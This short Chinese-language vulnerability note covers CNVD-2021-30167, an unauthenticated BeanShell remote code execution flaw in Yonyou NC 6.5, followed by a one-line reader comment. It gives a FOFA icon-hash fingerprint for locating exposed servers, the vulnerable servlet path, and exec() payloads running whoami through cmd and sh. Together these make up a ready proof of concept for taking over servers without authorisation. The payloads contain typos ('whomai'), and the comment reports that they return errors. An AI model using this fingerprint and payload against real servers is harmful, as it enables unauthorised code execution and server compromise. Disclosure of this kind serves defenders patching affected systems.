CNVD-2021-30167 用友NC BeanShell远程代码执行
编号: CNVD-2021-30167
影响版本: NC6.5
fofa指纹: icon_hash="1085941792"
该漏洞是由于用友NC对外开放了BeanShell接口，攻击者可以在未授权的情况下直接访问该接口，并构造恶意数据执行任意代码并获取服务器权限。
POC：
# get
/servlet/~ic/bsh.servlet.BshServleteg:
exec("whomai")
exec("cmd /c whoami")
exec("/bin/sh whoami")注：该脚本中的命令执行, 仅适用于Windoes, Linux请手动测试。
Hi.
All commands test but send Error:
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